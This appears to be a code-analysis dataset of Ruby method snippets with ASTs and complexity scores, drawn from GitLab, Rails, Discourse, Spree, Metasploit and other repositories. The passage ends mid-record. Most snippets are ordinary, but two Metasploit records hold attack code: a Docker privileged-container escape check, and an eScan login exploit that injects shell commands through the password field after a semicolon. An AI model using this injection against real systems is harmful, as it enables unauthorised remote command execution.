{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab_settings/settings.rb","start_line":42,"raw_source":"def respond_to_missing?(name, include_all = false)\n      config.respond_to?(name, include_all)\n    end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"respond_to_missing?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]},{\"type\":\"optarg\",\"children\":[\"include_all\",{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"config\"]},\"respond_to?\",{\"type\":\"lvar\",\"children\":[\"name\"]},{\"type\":\"lvar\",\"children\":[\"include_all\"]}]}]}","id":"92d0ab1e-f802-4d3e-946a-9d9b305933d1"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/support/helpers/filtered_search_helpers.rb","start_line":99,"raw_source":"def expect_vue_tokens(tokens)\n    page.within '.gl-search-box-by-click .gl-filtered-search-scrollable' do\n      token_elements = page.all(:css, '.gl-filtered-search-token')\n\n      tokens.each_with_index do |token, index|\n        el = token_elements[index]\n\n        expect(el.find('.gl-filtered-search-token-type')).to have_content(token[:name])\n        expect(el.find('.gl-filtered-search-token-operator')).to have_content(token[:operator]) if token[:operator].present?\n        expect(el.find('.gl-filtered-search-token-data')).to have_content(token[:value]) if token[:value].present?\n\n        # gl-emoji content is blank when the emoji unicode is not supported\n        if token[:emoji_name].present?\n          selector = %(gl-emoji[data-name=\"#{token[:emoji_name]}\"])\n          expect(el.find('.gl-filtered-search-token-data-content')).to have_css(selector)\n        end\n      end\n    end\n  end","complexity_score":61.4,"ast_json":"{\"type\":\"def\",\"children\":[\"expect_vue_tokens\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"tokens\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"page\"]},\"within\",{\"type\":\"str\",\"children\":[\".gl-search-box-by-click .gl-filtered-search-scrollable\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"token_elements\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"page\"]},\"all\",{\"type\":\"sym\",\"children\":[\"css\"]},{\"type\":\"str\",\"children\":[\".gl-filtered-search-token\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tokens\"]},\"each_with_index\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"token\"]},{\"type\":\"arg\",\"children\":[\"index\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"el\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"token_elements\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"index\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"el\"]},\"find\",{\"type\":\"str\",\"children\":[\".gl-filtered-search-token-type\"]}]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"have_content\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"token\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"name\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"token\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"operator\"]}]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"el\"]},\"find\",{\"type\":\"str\",\"children\":[\".gl-filtered-search-token-operator\"]}]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"have_content\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"token\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"operator\"]}]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"token\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"value\"]}]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"el\"]},\"find\",{\"type\":\"str\",\"children\":[\".gl-filtered-search-token-data\"]}]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"have_content\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"token\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"value\"]}]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"token\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"emoji_name\"]}]},\"present?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"selector\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"gl-emoji[data-name=\\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"token\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"emoji_name\"]}]}]},{\"type\":\"str\",\"children\":[\"\\\"]\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"el\"]},\"find\",{\"type\":\"str\",\"children\":[\".gl-filtered-search-token-data-content\"]}]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"have_css\",{\"type\":\"lvar\",\"children\":[\"selector\"]}]}]}]},null]}]}]}]}]}]}","id":"99ca31e7-d068-4975-8000-043d738d3469"}
{"repo_name":"spree","file_path":"./repos/spree/core/app/models/spree/gift_card.rb","start_line":86,"raw_source":"def amount_remaining\n      amount - amount_used - amount_authorized\n    end","complexity_score":6.2,"ast_json":"{\"type\":\"def\",\"children\":[\"amount_remaining\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"amount\"]},\"-\",{\"type\":\"send\",\"children\":[null,\"amount_used\"]}]},\"-\",{\"type\":\"send\",\"children\":[null,\"amount_authorized\"]}]}]}","id":"6dc29b25-65fd-4903-b0ed-202238567f5e"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/db/post_migrate/20240924234448_remove_faulty_async_index_definitions.rb","start_line":6,"raw_source":"def up\n    unprepare_async_index_by_name :merge_request_diff_commits_b5377a7a34,\n      :index_merge_request_diff_commits_b5377a7a34_on_project_id\n    unprepare_async_index_by_name :merge_request_diff_files_99208b8fac,\n      :index_merge_request_diff_files_99208b8fac_on_project_id\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"up\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"unprepare_async_index_by_name\",{\"type\":\"sym\",\"children\":[\"merge_request_diff_commits_b5377a7a34\"]},{\"type\":\"sym\",\"children\":[\"index_merge_request_diff_commits_b5377a7a34_on_project_id\"]}]},{\"type\":\"send\",\"children\":[null,\"unprepare_async_index_by_name\",{\"type\":\"sym\",\"children\":[\"merge_request_diff_files_99208b8fac\"]},{\"type\":\"sym\",\"children\":[\"index_merge_request_diff_files_99208b8fac_on_project_id\"]}]}]}]}","id":"bfa3f657-6c23-4406-b615-b21a718bb3ab"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/test/dispatch/routing_test.rb","start_line":31,"raw_source":"def test_logout\n    draw do\n      controller :sessions do\n        delete \"logout\" => :destroy\n      end\n    end\n\n    delete \"/logout\"\n    assert_equal \"sessions#destroy\", @response.body\n\n    assert_equal \"/logout\", logout_path\n    assert_equal \"/logout\", url_for(controller: \"sessions\", action: \"destroy\", only_path: true)\n  end","complexity_score":13.0,"ast_json":"{\"type\":\"def\",\"children\":[\"test_logout\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"draw\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"controller\",{\"type\":\"sym\",\"children\":[\"sessions\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"delete\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"logout\"]},{\"type\":\"sym\",\"children\":[\"destroy\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"delete\",{\"type\":\"str\",\"children\":[\"/logout\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"sessions#destroy\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@response\"]},\"body\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"/logout\"]},{\"type\":\"send\",\"children\":[null,\"logout_path\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"/logout\"]},{\"type\":\"send\",\"children\":[null,\"url_for\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"controller\"]},{\"type\":\"str\",\"children\":[\"sessions\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"action\"]},{\"type\":\"str\",\"children\":[\"destroy\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"only_path\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]}]}]}","id":"3b550982-f625-4252-acc8-6698f1707510"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/chat/app/serializers/chat/message_serializer.rb","start_line":123,"raw_source":"def created_at\n      object.created_at.iso8601\n    end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"created_at\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"object\"]},\"created_at\"]},\"iso8601\"]}]}","id":"a647aade-27f6-4369-9a8b-0a5b7e3a05c7"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/database/query_analyzers/prevent_cross_database_modification.rb","start_line":22,"raw_source":"def self.with_cross_database_modification_prevented(&blk)\n          self.with_suppressed(false, &blk)\n        end","complexity_score":2.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"with_cross_database_modification_prevented\",{\"type\":\"args\",\"children\":[{\"type\":\"blockarg\",\"children\":[\"blk\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"with_suppressed\",{\"type\":\"false\",\"children\":[]},{\"type\":\"block_pass\",\"children\":[{\"type\":\"lvar\",\"children\":[\"blk\"]}]}]}]}","id":"182ac8bc-3564-40b3-8ab9-7906e652d45a"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/models/exports/pdf/demo_generator.rb","start_line":11,"raw_source":"def initialize\n      @styles = {\n        cover: {\n          hero: {\n            padding_top: 120,\n            title: {\n              max_height: 30,\n              spacing: 10,\n              font: \"SpaceMono\"\n            },\n            heading: {\n              spacing: 14,\n              styles: [\"bold\"],\n              size: 16\n            }\n          }\n        }\n      }\n    end","complexity_score":2.25,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[]},{\"type\":\"ivasgn\",\"children\":[\"@styles\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"cover\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"hero\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"padding_top\"]},{\"type\":\"int\",\"children\":[120]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"title\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"max_height\"]},{\"type\":\"int\",\"children\":[30]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"spacing\"]},{\"type\":\"int\",\"children\":[10]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"font\"]},{\"type\":\"str\",\"children\":[\"SpaceMono\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"heading\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"spacing\"]},{\"type\":\"int\",\"children\":[14]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"styles\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"bold\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"size\"]},{\"type\":\"int\",\"children\":[16]}]}]}]}]}]}]}]}]}]}]}","id":"e22abe12-d6a3-4566-8a6a-c5a615fc2ab9"}
{"repo_name":"forem","file_path":"./repos/forem/db/migrate/20190711093610_create_pro_memberships.rb","start_line":2,"raw_source":"def change\n    create_table :pro_memberships do |t|\n      t.references :user, foreign_key: true\n      t.string :status, default: \"active\"\n      t.datetime :expires_at, null: false\n      t.datetime :expiration_notification_at\n      t.integer :expiration_notifications_count, null: false, default: 0\n      t.boolean :auto_recharge, null: false, default: false\n\n      t.timestamps\n    end\n    add_index :pro_memberships, :status\n    add_index :pro_memberships, :expires_at\n    add_index :pro_memberships, :auto_recharge\n  end","complexity_score":13.4,"ast_json":"{\"type\":\"def\",\"children\":[\"change\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"create_table\",{\"type\":\"sym\",\"children\":[\"pro_memberships\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"t\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"references\",{\"type\":\"sym\",\"children\":[\"user\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"foreign_key\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"string\",{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default\"]},{\"type\":\"str\",\"children\":[\"active\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"datetime\",{\"type\":\"sym\",\"children\":[\"expires_at\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"datetime\",{\"type\":\"sym\",\"children\":[\"expiration_notification_at\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"integer\",{\"type\":\"sym\",\"children\":[\"expiration_notifications_count\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default\"]},{\"type\":\"int\",\"children\":[0]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"boolean\",{\"type\":\"sym\",\"children\":[\"auto_recharge\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"timestamps\"]}]}]},{\"type\":\"send\",\"children\":[null,\"add_index\",{\"type\":\"sym\",\"children\":[\"pro_memberships\"]},{\"type\":\"sym\",\"children\":[\"status\"]}]},{\"type\":\"send\",\"children\":[null,\"add_index\",{\"type\":\"sym\",\"children\":[\"pro_memberships\"]},{\"type\":\"sym\",\"children\":[\"expires_at\"]}]},{\"type\":\"send\",\"children\":[null,\"add_index\",{\"type\":\"sym\",\"children\":[\"pro_memberships\"]},{\"type\":\"sym\",\"children\":[\"auto_recharge\"]}]}]}]}","id":"b51cf18f-57c8-4369-b3ae-1aa14f3380ef"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/ci/build_report_result_service.rb","start_line":29,"raw_source":"def tests_params(test_suite)\n      {\n        tests: {\n          name: test_suite.name,\n          duration: test_suite.total_time,\n          failed: test_suite.failed_count,\n          errored: test_suite.error_count,\n          skipped: test_suite.skipped_count,\n          success: test_suite.success_count,\n          suite_error: test_suite.suite_error\n        }\n      }\n    end","complexity_score":7.0,"ast_json":"{\"type\":\"def\",\"children\":[\"tests_params\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"test_suite\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"tests\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"test_suite\"]},\"name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"duration\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"test_suite\"]},\"total_time\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"failed\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"test_suite\"]},\"failed_count\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"errored\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"test_suite\"]},\"error_count\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"skipped\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"test_suite\"]},\"skipped_count\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"success\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"test_suite\"]},\"success_count\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"suite_error\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"test_suite\"]},\"suite_error\"]}]}]}]}]}]}","id":"f052cc2f-d2b2-43ca-85fd-c5919c9deca4"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/local/docker_privileged_container_escape.rb","start_line":75,"raw_source":"def check\n    # are in a docker container\n    unless file?('/.dockerenv')\n      return CheckCode::Safe('Not inside a Docker container')\n    end\n\n    # is root user\n    unless is_root?\n      return Exploit::CheckCode::Safe('Exploit requires root inside container')\n    end\n\n    # are rdma files present in /sys/\n    path = cmd_exec('ls -x /s*/fs/c*/*/r* | head -n1')\n    unless path.start_with? '/'\n      return Exploit::CheckCode::Safe('Required /sys/ files for exploitation not found, possibly old version of docker or not a privileged container.')\n    end\n\n    CheckCode::Appears('Inside Docker container and target appears vulnerable')\n  end","complexity_score":12.3,"ast_json":"{\"type\":\"def\",\"children\":[\"check\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"file?\",{\"type\":\"str\",\"children\":[\"/.dockerenv\"]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CheckCode\"]},\"Safe\",{\"type\":\"str\",\"children\":[\"Not inside a Docker container\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"is_root?\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exploit\"]},\"CheckCode\"]},\"Safe\",{\"type\":\"str\",\"children\":[\"Exploit requires root inside container\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"path\",{\"type\":\"send\",\"children\":[null,\"cmd_exec\",{\"type\":\"str\",\"children\":[\"ls -x /s*/fs/c*/*/r* | head -n1\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path\"]},\"start_with?\",{\"type\":\"str\",\"children\":[\"/\"]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exploit\"]},\"CheckCode\"]},\"Safe\",{\"type\":\"str\",\"children\":[\"Required /sys/ files for exploitation not found, possibly old version of docker or not a privileged container.\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CheckCode\"]},\"Appears\",{\"type\":\"str\",\"children\":[\"Inside Docker container and target appears vulnerable\"]}]}]}]}","id":"dae0510a-40e5-44da-9b65-d4da48de20ec"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/security/ci_configuration/sast_create_service.rb","start_line":22,"raw_source":"def action\n        Security::CiConfiguration::SastBuildAction.new(project.auto_devops_enabled?, params, existing_gitlab_ci_content, project.ci_config_path).generate\n      end","complexity_score":11.0,"ast_json":"{\"type\":\"def\",\"children\":[\"action\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Security\"]},\"CiConfiguration\"]},\"SastBuildAction\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]},\"auto_devops_enabled?\"]},{\"type\":\"send\",\"children\":[null,\"params\"]},{\"type\":\"send\",\"children\":[null,\"existing_gitlab_ci_content\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]},\"ci_config_path\"]}]},\"generate\"]}]}","id":"e9cab75c-d73e-47ae-b31b-eb1ba4eb19ca"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/spaceship/lib/spaceship/tunes/iap.rb","start_line":126,"raw_source":"def find(product_id)\n        all.each do |product|\n          if product.product_id == product_id\n            return product\n          end\n        end\n        return nil\n      end","complexity_score":6.7,"ast_json":"{\"type\":\"def\",\"children\":[\"find\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"product_id\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"all\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"product\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"product\"]},\"product_id\"]},\"==\",{\"type\":\"lvar\",\"children\":[\"product_id\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"product\"]}]},null]}]},{\"type\":\"return\",\"children\":[{\"type\":\"nil\",\"children\":[]}]}]}]}","id":"05569fc6-8345-4460-8c59-301b94ab5d20"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/keeps/overdue_finalize_background_migration.rb","start_line":237,"raw_source":"def find_queue_method_node(file)\n      source = RuboCop::ProcessedSource.new(File.read(file), 3.1)\n      ast = source.ast\n\n      up_method = ast.children[2].children.find do |child|\n        child.def_type? && child.method_name == :up\n      end\n\n      up_method.each_descendant.find do |child|\n        child && child.send_type? && child.method_name == :queue_batched_background_migration\n      end\n    end","complexity_score":27.6,"ast_json":"{\"type\":\"def\",\"children\":[\"find_queue_method_node\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"file\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"source\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"RuboCop\"]},\"ProcessedSource\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"read\",{\"type\":\"lvar\",\"children\":[\"file\"]}]},{\"type\":\"float\",\"children\":[3.1]}]}]},{\"type\":\"lvasgn\",\"children\":[\"ast\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"source\"]},\"ast\"]}]},{\"type\":\"lvasgn\",\"children\":[\"up_method\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ast\"]},\"children\"]},\"[]\",{\"type\":\"int\",\"children\":[2]}]},\"children\"]},\"find\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"child\"]}]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"child\"]},\"def_type?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"child\"]},\"method_name\"]},\"==\",{\"type\":\"sym\",\"children\":[\"up\"]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"up_method\"]},\"each_descendant\"]},\"find\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"child\"]}]},{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"child\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"child\"]},\"send_type?\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"child\"]},\"method_name\"]},\"==\",{\"type\":\"sym\",\"children\":[\"queue_batched_background_migration\"]}]}]}]}]}]}","id":"85c09bd1-b697-45b8-bcf6-1cfd5c15ed2e"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/components/admin/custom_fields/custom_field_projects/new_custom_field_projects_modal_component.rb","start_line":43,"raw_source":"def render?\n          !custom_field.is_for_all?\n        end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"render?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"custom_field\"]},\"is_for_all?\"]},\"!\"]}]}","id":"b1a6c7e7-337b-40fd-b84a-783d425d48b2"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-calendar/vendor/holidays/test/holidays/finder/rules/test_year_range.rb","start_line":150,"raw_source":"def test_returns_false_if_between_operator_and_target_is_before\n    @year_ranges = {between: 1998..2002}\n    assert_equal(false, @subject.call(1997, @year_ranges))\n  end","complexity_score":3.55,"ast_json":"{\"type\":\"def\",\"children\":[\"test_returns_false_if_between_operator_and_target_is_before\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@year_ranges\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"between\"]},{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[1998]},{\"type\":\"int\",\"children\":[2002]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"false\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@subject\"]},\"call\",{\"type\":\"int\",\"children\":[1997]},{\"type\":\"ivar\",\"children\":[\"@year_ranges\"]}]}]}]}]}","id":"375ecfa7-5ed2-473b-ab45-a9caf84d8831"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/antivirus/escan_password_exec.rb","start_line":160,"raw_source":"def exec_command(command, timeout = 20)\n    send_request_cgi({\n      'method' => 'POST',\n      'uri' => normalize_uri(target_uri.path.to_s, 'login.php'),\n      'vars_post' => {\n        'uname' => datastore['USERNAME'],\n        'pass' => \";#{command}\",\n        'product_name' => 'escan',\n        'language' => 'English',\n        'login' => 'Login'\n      }\n    }, timeout)\n  